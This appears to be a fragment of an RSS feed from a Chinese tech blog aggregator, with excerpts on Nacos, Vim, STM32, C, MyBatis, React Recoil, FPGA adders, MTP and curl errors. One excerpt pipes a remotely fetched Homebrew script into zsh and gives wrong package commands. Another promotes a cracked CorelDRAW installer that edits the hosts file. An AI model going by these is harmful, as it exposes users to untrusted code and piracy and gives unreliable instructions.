&amp;lt;version&amp;gt;2.1.4.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 2.启动nacos服务&#xA;3.配置bootstrap.yml&#xA;spring: application: name: 自己命名一个服务名 cloud: nacos: config: server-addr: 127.0.0.1:8848 namespace: 这个可不填，后续会讲到怎么用 4.启动项目&#xA;5.打开&#xA;http://127.0.0.1:8848/nacos&#xA;在配置列表中点击最右测的+号&#xA;Data ID可在项目启动时查看&#xA;如果没有这个提示需要导入bootstrap依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.</description>
    </item>
    <item>
      <title>ctf——pdf</title>
      <link>https://bchobby.github.io/posts/3e8b16e47fd0b920f1bccf452c67608c/</link>
      <pubDate>Mon, 17 Jan 2022 21:53:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e8b16e47fd0b920f1bccf452c67608c/</guid>
      <description>题目：&#xA;解析：下载附件1，是一个PDF，打开后如图：&#xA;发现“只有”一张图片，但是当把图片移动后就会发现flag其实隐藏在图片下面：&#xA;FLAG：&#xA;flag{security_through_obscurity}</description>
    </item>
    <item>
      <title>自启动失败的问题——自己的随笔</title>
      <link>https://bchobby.github.io/posts/c6709265edc44678878c23ec880a64a0/</link>
      <pubDate>Mon, 17 Jan 2022 20:12:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6709265edc44678878c23ec880a64a0/</guid>
      <description> 开机自启动，再/etc/rc.local中，添加运行的shell脚本test1.sh，第一次设置成功，没啥问题。&#xA;但是，当我想改为运行脚本test2.sh，遇到如下问题：&#xA;1.开机自启动，执行rc.local的过程中，死活找不到test2.sh！至今也不知道为啥找不到。&#xA;于是，为了探索问题所在，我在rc.local中，添加了一句touch test2.sh，用来新建一个test2.sh，奇怪的事情出现了——我居然找不到新建的test2.sh。&#xA;解决方法：&#xA;使用touch test2.sh手动在命令行创建。不要从外部windows系统创建再copy进来。&#xA;2.test.sh中，cd /home/xxx，报错，无法执行这个命令。&#xA;我有惊讶到了，这明明是最简单的命令了。也能出错，TMD。&#xA;参考代码，如下代码没问题。但不保证。&#xA;#!/bin/bash PWD=`dirname $0` cd $PWD cd ./uphead source /home/just01/anaconda3/bin/activate uphead nohup /home/just01/anaconda3/envs/uphead/bin/python head_up_down.py &amp;amp; CUDA_VISIBLE_DEVICES=1 nohup /home/just01/anaconda3/envs/uphead/bin/python head_up_down.py &amp;amp; </description>
    </item>
    <item>
      <title>flask本地调试跨域问题</title>
      <link>https://bchobby.github.io/posts/37791e5f2f85e91e751589c206082521/</link>
      <pubDate>Mon, 17 Jan 2022 17:14:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37791e5f2f85e91e751589c206082521/</guid>
      <description>导入flask-cros，记住，一定是中划线&#xA;app.py添加两行</description>
    </item>
    <item>
      <title>vim搜索高亮设置</title>
      <link>https://bchobby.github.io/posts/c3ef9d1bff18c4423c36aaca18733d88/</link>
      <pubDate>Mon, 17 Jan 2022 15:22:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3ef9d1bff18c4423c36aaca18733d88/</guid>
      <description>高亮有两种方法 1）临时高亮&#xA;vim file文件&#xA;输入 :set hlsearch&#xA;2）永久高亮&#xA;vim ~/.vimrc&#xA;文件中添加set hlsearch&#xA;取消搜索高亮 :set nohlsearch 或者简写的:noh</description>
    </item>
    <item>
      <title>【蓝桥嵌入式笔记】第一个工程 HAL_01_LED_TEST</title>
      <link>https://bchobby.github.io/posts/12eb159891579b138eda49b2f8e7a4f4/</link>
      <pubDate>Mon, 17 Jan 2022 10:05:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/12eb159891579b138eda49b2f8e7a4f4/</guid>
      <description>一、ODR、BSRR、BRR寄存器 1.ODR 可读可写寄存器：既能控制管脚为高电平，也能控制管脚为低电平。&#xA;管脚对于位写1 GPIO管脚为高电平，写 0 为低电平。&#xA;2.BSRR 只写寄存器：既能控制管脚为高电平，也能控制管脚为低电平。&#xA;对寄存器高 16bit 写1 对应管脚为低电平，对寄存器低16bit写1对应管脚为高电平。写 0 无动作。&#xA;3.​​​​​​​BRR 只写寄存器：只能改变管脚状态为低电平，对寄存器 管脚对于位写 1 相应管脚会为低电平。写 0 无动作。&#xA;二、HAL库函数 1.void HAL_GPIO_TogglePin (GPIO_TypeDef * GPIOx, uint16_t GPIO_Pin) 翻转所选引脚的状态&#xA;void HAL_GPIO_TogglePin(GPIO_TypeDef *GPIOx, uint16_t GPIO_Pin) { /* Check the parameters */ assert_param(IS_GPIO_PIN(GPIO_Pin)); //检查参数是否有效 if ((GPIOx-&amp;gt;ODR &amp;amp; GPIO_Pin) != 0x00u)//判断当前引脚状态与所选引脚位是否为0 { GPIOx-&amp;gt;BRR = (uint32_t)GPIO_Pin; //如果为1，则通过BRR置0 } else { GPIOx-&amp;gt;BSRR = (uint32_t)GPIO_Pin;//如果为0，则通过BSRR置1 } } ODR是引脚输出值，与所选引脚进行与操作，若当前状态为1，则通过BRR置0；若当前状态为0，则通过BSRR置1。&#xA;​​​​​​​2.void HAL_GPIO_WritePin (GPIO_TypeDef * GPIOx, uint16_t GPIO_Pin, GPIO_PinState PinState) 将所选引脚置0或置1</description>
    </item>
    <item>
      <title>简单几步，用Visual Studio写出并运行一个c程序</title>
      <link>https://bchobby.github.io/posts/16c64ab92cd9bc5940173e6aa233c43f/</link>
      <pubDate>Sun, 16 Jan 2022 23:00:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16c64ab92cd9bc5940173e6aa233c43f/</guid>
      <description>1.首先请确保安装了相应的IDE，作者使用的VS版本为最新（已目前文章发布时间为准）的2022版本，而版本只要不是太远古本方法通用。 2.创建一个新项目 打开VS,点击创建新项目&#xA;找到c++的空项目，点击使其创建&#xA;更换项目名称，点击右下角创建&#xA;3.运行一个c程序 光标定位在源文件，右键添加一个新建项&#xA;将扩展名 .cpp 改成 .c ,之后点击右下角添加&#xA;添加成功&#xA;点击左上角项目，属性&#xA;c/c++ —&amp;gt; 常规 —&amp;gt; SDL检查 —&amp;gt; 改成 ‘否’&#xA;确定一下&#xA;写一个c程序并执行&#xA;本人也是菜鸡一枚，第一次写博客/wul，如有不足之处，还请各位看官多多包涵，指点在下。</description>
    </item>
    <item>
      <title>SpringCould资料说明</title>
      <link>https://bchobby.github.io/posts/3d6fb81ffac6c7dd4c6ed98fe0b3d0b8/</link>
      <pubDate>Sun, 16 Jan 2022 18:48:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d6fb81ffac6c7dd4c6ed98fe0b3d0b8/</guid>
      <description>第一部分：课前资料说明&#xA;博客地址：https://blog.csdn.net/maitian_2008&#xA;天翼云盘：https://cloud.189.cn/t/MFJVf23u22Un 访问码:tw3w (不限速)&#xA;百度网盘：https://pan.baidu.com/s/1uqizNjVidxsAwr_bUGpztg 提取码：geos （普通用户限速）&#xA;代码共享：https://gitee.com/JasonCN2008/&#xA;java开源项目：ruoyi.vip，renren.io&#xA;第二部分: 微服务架构最佳实践&#xA;课程目标：&#xA;1)了解微服务诞生的背景&#xA;2)了解SpringCloud微服务规范&#xA;3)掌握Spring Cloud Alibaba 解决方案中的核心组件的基础应用&#xA;4)掌握Spring Cloud Alibaba 解决方案下单点登陆系统的设计以及解决方案.&#xA;核心技能点：&#xA;1)基于Nacos 的服务注册、发现以及配置。&#xA;2)基于RestTemplate,Feign实现服务间的远程调用。&#xA;3)基于Ribbon实现服务调用时的负载均衡设计&#xA;4)基于Sentinel实现服务的限流，降级。&#xA;5)基于Spring Cloud Gateway实现API访问入口的统一管理。&#xA;6)基于Spring Security，JWT，Oauth2实现统一的单点登陆系统（SSO)。&#xA;授课文档及顺序：&#xA;https://blog.csdn.net/maitian_2008/category_11190676.html&#xA;第三部分:Docker技术最佳实践&#xA;课程目标：&#xA;1)了解Docker诞生的背景&#xA;2)了解Docker技术的优势，劣势。&#xA;3)熟悉Docker的基本架构设计。&#xA;4)掌握Docker平台下的镜像，容器，数据卷等核心概念&#xA;5)掌握Docker环境下镜像的下载，查看，保存，导入，删除等基本操作&#xA;6)掌握Docker环境下容器的启动，进入，查看，停止，重启，日志查看等基本操作&#xA;7)掌握Docker平台下数据卷及目录挂载的意义，数据卷的创建，查看以及应用方式&#xA;8)掌握Docker平台下镜像的制作，Dockerfile的基本语法结构。&#xA;9)掌握Docker平台下常用的镜像的安装，例如mysql,redis,nginx,nacos等。&#xA;10）掌握Docker平台下容器互联方式的基本实现。&#xA;核心技能点：&#xA;1）docker 的安装，服务的启动，重启，停止，开机重启等基本指令的应用&#xA;2）docker 平台下镜像（image），容器，数据卷，网络等基本操作&#xA;3）docker 平台下常用服务(mysql,redis,nginx,nacos)的安装及基本应用。&#xA;授课文档及顺序：&#xA;https://blog.csdn.net/maitian_2008/category_11285781.html?spm=1001.2014.3001.5482&#xA;第四部分:Redis技术最佳实践&#xA;课程目标：&#xA;1)了解redis诞生的背景&#xA;2)熟悉Redis数据库的基本特点&#xA;3)熟悉Redis的常用数据类型及基本指令的操作&#xA;4)掌握Java中操作Redis的核心API以及应用过程&#xA;5)掌握Redis在Java项目中的应用实践（例如投票系统，单点登陆系统等）&#xA;6)掌握Redis中持久化的目的，持久化的方式及各自的特点。&#xA;7)掌握Redis中的事务处理方式，常用指令的应用。&#xA;8)掌握Redis中的主从架构，哨兵机制，集群架构的设计及搭建过程。&#xA;核心技能点：&#xA;1)Redis在docker环境下安装，登陆，退出。</description>
    </item>
    <item>
      <title>【论文阅读】Network In Network</title>
      <link>https://bchobby.github.io/posts/6949d7c5fcf40f52eebeba710f9fd2af/</link>
      <pubDate>Sun, 16 Jan 2022 15:13:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6949d7c5fcf40f52eebeba710f9fd2af/</guid>
      <description>俗话说得好，三十天打鱼二十九天晒网（误）。前几天觉着曼昆的那个《经济学原理》好好看就去看闲书去了。这几天突然心生愧疚就赶紧来弥补一下。&#xA;今天看的是Network In Network，是在读inception v1的论文时遇见的。&#xA;论文地址：https://arxiv.org/abs/1312.4400&#xA;以下是正文：&#xA;我觉着摘要就写得很明白了，这是摘要一部分的原文：&#xA;“The conventional convolutional layer uses linear filters followed by a nonlinear activation function to scan the input. Instead, we build micro neural networks with more complex structures to abstract the data within the receptive field. We instantiate the micro neural network with a multilayer perceptron, which is a potent function approximator. The feature maps are obtained by sliding the micro networks over the input in a similar manner as CNN; they are then fed into the next layer.</description>
    </item>
    <item>
      <title>C语言求阶乘</title>
      <link>https://bchobby.github.io/posts/bf76d09e3bc4dca92d625bc49175129d/</link>
      <pubDate>Sun, 16 Jan 2022 12:58:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf76d09e3bc4dca92d625bc49175129d/</guid>
      <description>阶乘指从1乘以2乘以3乘以4一直乘到所要求的数。 例如所要求的数是4，则阶乘式是1×2×3×4，得到的积是24，24就是4的阶乘。&#xA;现在我们来求一下5的阶乘&#xA;我们只需要设置一个循环，，在设置一个变量为1，从1开始与变量相乘，相乘的结果再存入变量，将上面的步骤循环五次即可。&#xA;代码如下&#xA;#include&amp;lt;stdio.h&amp;gt; int main() { int i = 0; int sum = 1; for (i = 1; i &amp;lt;= 5; i++) { sum = sum * i; } printf(&#34;%d&#34;, sum); } 如果这里大家会求一个数的阶乘了，那大家可以再试一下如何求一到5的阶乘相加&#xA;我们可以先求1的阶乘，再求2的阶乘，再求3的阶乘，知道所有数的阶乘求完，再把这些求得的结果相加即可。&#xA;所以我们可以设置成一个循环，将上面的结果相加&#xA;代码如下：&#xA;#include&amp;lt;stdio.h&amp;gt; //求一到五的阶乘相加 int main() { int a, b, sum=0, c = 1; for (a = 1; a &amp;lt;= 5; a++) { c=1; //求完一个数的阶乘时，要重新赋值为1 for (b = 1; b &amp;lt;= a; b++) { c = c * b; } sum = sum + c; //将每次求出阶乘的结果存入变量sum中 } printf(&#34;</description>
    </item>
    <item>
      <title>MyBatis配置返回boolean类型值</title>
      <link>https://bchobby.github.io/posts/1c9d9e8a73350c9c24c7f209aee2fa38/</link>
      <pubDate>Sat, 15 Jan 2022 15:24:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c9d9e8a73350c9c24c7f209aee2fa38/</guid>
      <description>MyBatis配置返回boolean类型值 在开发中，我们可能会遇到这样的需求：在对数据进行操作时，先判断有没有对应的记录，如果有，再进行操作。实现的方式有多种，如下方式采用mybatis实现。&#xA;Mapper方法 boolean existsOrder(@Param(&#34;orderNumber&#34;) String orderNumber); xml代码 &amp;lt;select id=&#34;existsOrder&#34; parameterType=&#34;String&#34; resultType=&#34;_boolean&#34;&amp;gt; &amp;lt;![CDATA[ select count(`id`) from `order` where `order_number` = #{orderNumber} ]]&amp;gt; &amp;lt;/select&amp;gt; 当SQL执行的结果是0，那么返回false；如果结果是非0，无论是正数还是负数（当然上述例子不会产生负数）都为true&#xA;tip：这种方式存在局限性，请根据实际需求选择</description>
    </item>
    <item>
      <title>python解决 InvocationException: GraphViz’s executables not found ：个人总结的小经验</title>
      <link>https://bchobby.github.io/posts/284864994e9c367f5e584f9786f8baf8/</link>
      <pubDate>Sat, 15 Jan 2022 11:03:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/284864994e9c367f5e584f9786f8baf8/</guid>
      <description>在进行机器学习算法中的决策树算法可视化的过程中，使用pydotplus可视化决策树过程中出现了报错，错误如下：&#xA;下面简单介绍引用该库我做的准备：&#xA;1. 下载并安装Graphviz，参考下面这条博客，感谢大佬分享。&#xA;(19条消息) pydotplus安装和基本入门_默的博客-CSDN博客_pydotplus安装&#xA;注意这里安装的时候会问你要不要把Graphviz加入到Path里面去，个人的建议是不要，因为可能会让电脑管家把这个操作识别为木马病毒从而阻止。我是一路按“下一步”安装完成之后自己手动在Path里加了环境变量&#xA;2. 在代码里面引用这两个库，代码如下：&#xA;import pydotplus import os os.environ[&#34;PATH&#34;] += os.pathsep + &#39;C:\Program Files\Graphviz\bin&#39; //注意这里应该是你安装Graphviz的路径 3. 决策树模型参考：&#xA;​​​​​​(19条消息) 简单的python决策树案例_Cvjark的博客-CSDN博客_python决策树案例&#xA;4. 决策树可视化参考：&#xA;scikit-learn决策树算法类库使用小结 - 刘建平Pinard - 博客园 (cnblogs.com)&#xA;大佬介绍了三种决策树可视化方法，非常详细&#xA;然后就开始报错，显示InvocationException: GraphViz’s executables not found，检查了很多遍环境变量也没有问题。后来发现自己犯了一个非常小白的错误（说出来感觉挺不好意思），希望能帮助到同样是小白的朋友！&#xA;错误一：Path的大小写。我的电脑环境变量里Path长这个样子（只有开头大写），但参考的博客里是全部大写PATH，所以要改成自己电脑环境变量里Path的大小写格式；&#xA;错误二：文件路径格式。我直接在文件夹复制了文件的路径，里面的斜杠是向左倾斜的“\”，但python里的路径斜杠要往右边倾斜！！！是“/”！！！并且要记得在bin后面也加上斜杠“/”&#xA;正确引用代码如下：&#xA;import pydotplus import os os.environ[&#34;Path&#34;] += os.pathsep + &#39;C:/Program Files/Graphviz/bin/&#39; 希望能帮到大家！！！</description>
    </item>
    <item>
      <title>React 状态管理: Recoil - Facebook 状态管理</title>
      <link>https://bchobby.github.io/posts/c1b3dffae18e6ea0467ee53d01467343/</link>
      <pubDate>Fri, 14 Jan 2022 22:26:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1b3dffae18e6ea0467ee53d01467343/</guid>
      <description>React 状态管理: Recoil - Facebook 状态管理 文章目录 React 状态管理: Recoil - Facebook 状态管理Recoil 概念Recoil 示例0. RecoilRoot1. Atom 状态2. Selector 导出状态3. Async Selector 异步导出状态4. Atom Family 状态类5. Selector Family 导出状态类6. RecoilBridge: 跨 Root 通信小结 参考连接完整代码示例 Recoil 概念 第一次尝试 Recoil 让我非常惊艳，以前我都是用 redux 进行状态管理，但是多余的重新渲染总是让人不胜其扰，Recoil 可以说是彻底解决 redux 基于 Context API 进行状态管理的弊端，并借助了 React hooks 的优势，将状态更新推迟到一个个最接近底部的子节点上。&#xA;上一张图大家就能够感受到差异了（借用 Dave McCabe 大佬的图）&#xA;相当于是把每一个状态设计成一个单独的可订阅对象，然后使用 hooks 进行订阅最终状态更新就只会修改直接使用该状态的组件，同时避免了 Redux 将多个状态都堆放在同一个对象上造成使用同一个 Context 的组件触发多余的渲染&#xA;Recoil 示例 下面我们透过实际操作来体验一下 Recoil 的便捷&#xA;0. RecoilRoot 下面 1-5 的例子我们都统一使用单一个 RecoilRoot 作为全局作用域，不论是 atom 还是 selector 都是基于 RecoilRoot 来获取当前值，对于不同 RecoilRoot 则会产生不同的状态实例，切记。</description>
    </item>
    <item>
      <title>mac中最简单的安装lightbgm</title>
      <link>https://bchobby.github.io/posts/1a2dc3b14d2ebb8548e4bb3c1213cfcf/</link>
      <pubDate>Fri, 14 Jan 2022 21:50:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a2dc3b14d2ebb8548e4bb3c1213cfcf/</guid>
      <description>mac m1中最简单安装方法安装lightgbm 前言1.安装可能会遇到错误2.安装lightgbm3.安装成功 前言 我们这里只针对Mac用户，包括intel、m1。&#xA;windows用户、Linux用户参照官方文档。官方文档&#xA;也可以参照中文文档：中文文档链接&#xA;1.安装 在Mac上面安装lightgbm&#xA;intel用户&#xA;/bin/zsh -c &#34;$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)&#34; m1用户&#xA;/bin/zsh -c &#34;$(curl -fsSL https://gitee.com/huwei1024/HomebrewCN/raw/master/Homebrew.sh)&#34; 无脑复制上面的代码，在Mac终端运行即可。（根据提示一直操作即可）&#xA;安装完了之后，输入&#xA;brew -v 可能会遇到错误 command not found : brew 这里的原因是m1芯片的包安装位置不是以前的**/usr/local/** 而是**/opt/homebrew/**,所以我们进行配置环境变量。&#xA;根据下面的步骤进行更改。&#xA;1.进入根目录&#xA;cd ~ 2.创建.zshrc文件，并进入文件（有就打开.zshrc，没有会进行创建）&#xA;vi .zshrc 3.对文件内容进行编辑或添加这两行代码（按i进行添加内容）&#xA;export PATH=/opt/homebrew/bin:$PATH export PATH=/opt/homebrew/sbin:$PATH 按esc键之后，进行按**:wq**，进行退出保存。生成环境变量。 source .zshrc 这个时候你再输入brew -v就成功看到版本了。&#xA;2.安装lightgbm 通过pip进行安装，这里要注意pip的版本，一定要保证版本不能太低。&#xA;pip install lightbrew pip更新&#xA;pip update 3.安装成功 在终端中输入&#xA;python 在python页面进行输入&#xA;import lightbrew 没有报错，安装成功</description>
    </item>
    <item>
      <title>详细讲解半加器、全加器、四位全加器，并使用FPGA实现半加器、全加器</title>
      <link>https://bchobby.github.io/posts/0b48b642aab2798244bae74ec15f6eb2/</link>
      <pubDate>Fri, 14 Jan 2022 21:13:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b48b642aab2798244bae74ec15f6eb2/</guid>
      <description>全加器、半加器都是在数电学习路上非常主要的部分，下面我将全加器和半加器做一个详细的解释。&#xA;半加器 半加器是指对输入的两个一位二进制数相加（A与B），输出一个结果位（SUM）和进位（C），没有进位的输入加法器电路，是一个实现一位二进制数的加法电路。&#xA;真值表 被加数A加数B和SUM进位C0000011010101101 逻辑表达式 根据上述的真值表，当A和B相同时SUM为0，否则为1；逻辑关系属于异或；当A和B同时为1时，C等于1，其余都为零，逻辑关系为与。&#xA;所以我们可以得到如下的逻辑表达式：&#xA;逻辑电路图 半加器Verilog代码实现 module half adder( input wire A, input wire B, output wire C, output wire sum ); //assign sum = (A == B) ? 0 : 1; //这两种方式都可以实现 assign sum = A^B; assign C= A&amp;amp;B; endmodule RTL视图验证 全加器 全加器是指对输入的两个二进制数相加（A与B）同时会输入一个低位传来的进位（Ci-1），得到和数（SUM）和进位（Ci）；一位全加器可以处理低位进位，并输出本位加法进位。多个一位全加器进行级联可以得到多位全加器。常用二进制四位全加器74LS283。&#xA;真值表 逻辑表达式 由全加器的定义理解我们可以知道当Ai和Bi异或后再与Ci-1进行异或得到SUMi，结合真值表，我们可以知道当Ai、Bi、Ci-1只要有两个以上的1是进位Ci就等于1；所以只需要每两变量求与，结果再求或就可以满足要求。由此我们可以得到最常用的逻辑表达式：&#xA;由于两个半加器可以构成一个全加器，所以在这里进位Ci还可以表示为&#xA;逻辑电路图 根据逻辑表达式绘制两种逻辑电路图如下：&#xA;由两个半加器组成的全加器逻辑电路图&#xA;全加器Verilog代码实现 module full_adder(&#xA;input wire A,&#xA;input wire B,&#xA;output wire C,&#xA;output wire sum</description>
    </item>
    <item>
      <title>coreldraw2022免费直装新版本免费无限制随意使用</title>
      <link>https://bchobby.github.io/posts/bd4979ca5f1fd9bf1494a8a672223e13/</link>
      <pubDate>Fri, 14 Jan 2022 16:16:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd4979ca5f1fd9bf1494a8a672223e13/</guid>
      <description>今天给大家分享cdr这个软件,以及这个软件的一些快捷键,如果你从事设计行业,那么应该对coreldraw产品软件并不陌生吧,不过部分人嫌该软件安装起来有些麻烦,为此这里带来的是cdr2022直装版,所以现在来我这里就可以得到免费的链接,&#xA;cdr2022软件介绍&#xA;这个版本和官方版一样是款专业强大，且功能丰富的平面设计软件，其中不仅为用户们提供了一体化的设计和布局方便新手快速上手，还广泛的兼容ai、psd、pdf、jpg、png、svg、dwg、tiff、heif等多种文件格式的支持，从而无论你是要制作图形，还是出版和图像文件格式在这里全部都支持，并最重要的是软件还至极告诉的技术的限制，支持win、mac、移动设备等多端的跨平台同步使用，从而即可让移动设计变得更加容易。&#xA;不仅如此，在本次全新的cdr2022与上一个版本相比，直接为用户们提供了更强大的性能和新增功能，就比如说协作，在该版本中不仅提供了更直观的新项目仪表板，可让用户实用起来更加的方便，还了增强评论泊坞窗，支持用户实时搜索查看评论，非常的便捷实用。另外呢，在该版本中还增加了渐进式图像编辑功能，利用它可直接用更少的步骤增强图像质量，而且还提供了HEIF 文件格式支持，以及带来了全新替换颜色工具，致力帮助用户可以更快更简单的制作出想要的作品。&#xA;新增功能 1、新的透视图&#xA;以透视图的方式绘制对象或插图场景，比以往更快，更轻松。从1、2或3点透视图中进行选择，在共享透视图平面上绘制或添加现有对象组，并在不丢失透视图的情况下自由移动和编辑对象。&#xA;2、新的灵活的设计空间&#xA;借助新的工作流程，您可以在控制时间内从构思到输出，这使您可以控制页面和资产。&#xA;（1）多页视图&#xA;在一个视图中查看、管理和编辑项目的所有数字资产，这是一个全新的创意乐园！流畅地在页面间移动对象，并排比较设计，自由地移动页面以按照您的意愿排列它们。&#xA;（2）多资产导出&#xA;完成设计后，创建自定义的页面和对象项目列表，一键导出！&#xA;（3）符号工作流程增强&#xA;增强的“符号”工作流程可以让您在大型库中快速搜索符号，并在其他对象中更容易地识别符号，从而节省您的时间。&#xA;3、新的渐进式图像编辑&#xA;强大的新照片编辑功能可减轻您的工作负担，该功能专为以更少的步骤增强图像而设计。&#xA;（1）增强的颜色替换&#xA;试用令人印象深刻的全新替换颜色工具，以获得更快、更简单的完美照片。&#xA;（2）重新设想的调整工作流程&#xA;以 Corel PHOTO-PAINT 中完全转换的调整工作流程为例，在背景中非破坏性地实时应用关键图像调整&#xA;（3）HEIF 文件格式支持&#xA;享受对 iPhone 上使用的标准照片格式的支持&#xA;4、新的下一代合作&#xA;浪费的时间已经够多了！随着远程工作成为我们的新常态，与同事和客户保持联系。&#xA;（1）可以在共享的cdr设计文件中收集来自一个或多个贡献者的实时注释和注释。&#xA;（2）直观的新项目仪表板使存储，组织和共享云文件变得轻而易举。&#xA;（3）增强的评论泊坞窗简化了反馈过滤，并具有搜索审阅者评论的功能。&#xA;5、新的cdr无处不在&#xA;告别技术限制，打招呼，体验跨Windows，Mac，Web，iPad和其他移动设备的真正跨平台体验。凭借针对触摸优化的新用户体验，CorelDRAW.app扩展了移动设备和平板电脑上的功能，而新的iPad应用程序使旅途中的设计变得更加轻松。&#xA;2022CDR软件特色 1、易用&#xA;无论您是初始用户还是经验丰富的设计师，cdr 2021开始使用十分简便。了解此图形设计软件的基本信息或通过启动概览了解新增功能，并通过匹配工作流需求的工作区立即提高效率。以从高质内容和多样化产品内学习资源中获益，从而丰富项目内容。利用 Windows 10 多监视器查看新增功能和新增的 4K 显示屏支持功能。&#xA;2、工艺&#xA;通过cdr 2021高水准的直观功能，充分展现您的设计灵活性。通过增强的字体搜索和筛选功能，为任何项目快速查找字体。通过增强的“刻刀”工具提高工作效率，可帮助您沿任何路径切割矢量对象、文本和位图。使用 Corel PHOTO-PAINT 2021 中的“修复复制”工具精修照片，并在增强的“矫正图像”对话框中修正透视失真。&#xA;3、个性化&#xA;请在主页了解所有收藏工具！界面更新后，可根据需求调整设计空间并自定义图标大小、桌面和窗口边框颜色。借助于全新 Corel Font Manager 2021，可以了解并为您的项目管理字体；此外，还可以通过在应用程序内部购买应用程序、插件和宏，扩展创意工具集合。&#xA;4、愉悦&#xA;交付专业质量输出，将在任何介质上使人过目不忘：从与众不同的徽标和标志到引人注目的营销材料、Web 和社交媒体图形，应有尽有！凭借行业领先的文件格式兼容性和高级颜色管理工具，cdr 2021可提供所有项目类型所需的灵活性和精确度。了解充满活力和灵感的 CorelDRAW 用户社区，以对您的创意之旅提供协助。&#xA;安装教程&#xA;1、下载并进行解压即可获得cdr2022中文版；&#xA;2、双击“开始安装.exe”依提示进行安装，由于这是于一体的，因此在运行时会有软件提醒正在修改host等内容，允许即可；&#xA;3、接着在进行安装时，软件直接是内置了序列号的，进行下一步即可；</description>
    </item>
    <item>
      <title>MTP手机端实现过程</title>
      <link>https://bchobby.github.io/posts/244994c8557a1f3f6ca2845028601621/</link>
      <pubDate>Fri, 14 Jan 2022 16:04:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/244994c8557a1f3f6ca2845028601621/</guid>
      <description>上一篇基本把pc端连接mtp协议走的内核路径过了一遍，还有部分细节不完善，但整体流程还是走的usb驱动逻辑。这是后话。简而言之，pc在内核平没有专门为MTP设计什么东西。解析MTP协议的逻辑还是放在了用户态。通过D-bus连通usb驱动，对数据进行mtp协议解析。为了详细了解mtp具体做了什么，我从手机端研究了MTP在内核中的实现。&#xA;一、/dev/mtp_usb 真正意义上的MTP驱动位于手机一侧。注册了 /dev/mtp_usb字符设备。&#xA;read write 接口实现了控制命令的传输和写入。也就是说当有远端的文件请求是，手机端是通过这里发送给手机测用户态服务的。&#xA;void MtpServer::run() { // 将mFD赋值给fd，fd就是“/dev/mtp_usb”的句柄 int fd = mFD; while (1) { // 读取“/dev/mtp_usb” int ret = mRequest.read(fd); ... // 获取“MTP操作码” MtpOperationCode operation = mRequest.getOperationCode(); MtpTransactionID transaction = mRequest.getTransactionID(); ... // 在handleRequest()中，根据读取的指令作出相应的处理 if (handleRequest()) { ... } } ... } 二、文件数据的读取 为了在得到请求后顺利吧数据发送到远端PC上。手机端利用了启动的Mtp_server。&#xA;bool MtpServer::handleRequest() { undefined Mutex::Autolock autoLock(mMutex); MtpOperationCode operation = mRequest.getOperationCode(); MtpResponseCode response; mResponse.reset(); if (mSendObjectHandle != kInvalidObjectHandle &amp;amp;&amp;amp; operation != MTP_OPERATION_SEND_OBJECT) {undefined mSendObjectHandle = kInvalidObjectHandle; } switch (operation) {undefined case MTP_OPERATION_GET_DEVICE_INFO: response = doGetDeviceInfo(); break; case MTP_OPERATION_OPEN_SESSION: response = doOpenSession(); break; case MTP_OPERATION_CLOSE_SESSION: response = doCloseSession(); break; .</description>
    </item>
    <item>
      <title>curl: (60) Peer‘s Certificate issuer is not recognized</title>
      <link>https://bchobby.github.io/posts/92554a07e86c71e41a1adffb3d742d35/</link>
      <pubDate>Fri, 14 Jan 2022 15:18:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92554a07e86c71e41a1adffb3d742d35/</guid>
      <description>问题描述 新写了一个Https接口，由于是get请求，所以自己在浏览器上访问了下，是可以请求到的，以为没事了，没想到交付的时候，第三方通过curl请求，显示接口不可访问了，具体报错如下：&#xA;前言 网上几乎所有的教程都说是由于证书过期，或者缺少证书的原因。证书有问题确实会造成上述情况，但不是唯一的因素。&#xA;如果大家遇到了相同的问题，建议先看其他的博客确保把证书配置正确，在确保证书是绝对没有问题的情况下，在确保证书是绝对没有问题的情况下，在确保证书是绝对没有问题的情况下，可以再来看看是否和我相同的情况导致的。&#xA;问题原因 根本原因是客户端发起的是https请求，而服务端接收到的时候变成了http的请求。因为服务端根本不知道此次是https请求，自然不会返回自己的证书给客户端，所以客户端提示说证书可能丢失或过期了，即得到Peer&#39;s Certificate issuer is not recognized的提示信息。&#xA;问题发现 如何确定自己接手到的是http请求还是https请求呢，首先可以在接口代码中打印请求的协议，也可以在ngixn请求日志中打印。&#xA;我是在nginx中打印日志发现了这个问题。新写的接口请求逻辑是这样的。&#xA;客户端通过域名发起Https请求--&amp;gt;网关（进行域名解析映射至ip服务器）--&amp;gt;服务器nginx（得到请求后代理至最终服务）--&amp;gt;最终服务。&#xA;我们这里存在的问题是网关--&amp;gt;nginx这一步，我们的it人员把https协议映射成了http协议，因此出现了问题。&#xA;Https原理 